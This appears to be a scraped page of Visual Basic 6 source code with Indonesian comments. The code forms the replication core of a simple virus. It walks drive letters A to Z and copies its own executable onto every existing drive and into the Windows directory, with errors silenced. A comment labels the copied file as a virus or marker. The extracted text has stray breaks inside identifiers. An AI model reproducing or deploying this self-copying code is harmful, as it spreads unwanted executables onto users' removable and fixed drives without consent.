You are on page 1of 2

Private Declare Function GetDriveType Lib "kernel32" _ Alias "GetDriveTypeA" (ByVal nDrive As String) As Long Private Declare Function

GetWindowsDirectory _ Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSi ze As Long) As Long Private Function DriveType(Drive As String) As String ''////fungsi mengencek drive Dim sAns As String, lAns As Long 'fix bad parameter values If Len(Drive) = 1 Then Drive = Drive & ":\" If Len(Drive) = 2 And Right$(Drive, 1) = ":" _ Then Drive = Drive & "\" lAns = GetDriveType(Drive) Select Case lAns Case 2 sAns = "Removable Drive" Case 3 sAns = "Fixed Drive" Case 4 sAns = "Remote Drive" Case 5 sAns = "CD-ROM" Case 6 sAns = "RAM Disk" Case Else sAns = "Drive Doesn't Exist" End Select DriveType = sAns End Function Private Sub kodepengganda() ''///mengecek drive dan mengcopy file penanda Dim ictr As Integer Dim sDrive As String Dim x As Byte ReDim sDrives(0) As String For ictr = 65 To 90 sDrive = Chr(ictr) & ":\" If DriveType(sDrive) <> "Drive Doesn't Exist" Then On Error Resume Next FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "tes.ex e" End If Next End Sub Private Sub kopikewindows() ''///mengkopi file virus atau penanda ke directory windows Dim buffer As String * 255 Dim x As Long x = GetWindowsDirectory(buffer, 255) On Error Resume Next FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & _ "\tes_di_direktori_windows.exe" End Sub

Private Sub Command5_Click() kopikewindows kodepengganda MsgBox "Kode Berhasil Dijalankan", 0, "Berhasil" End Sub

You might also like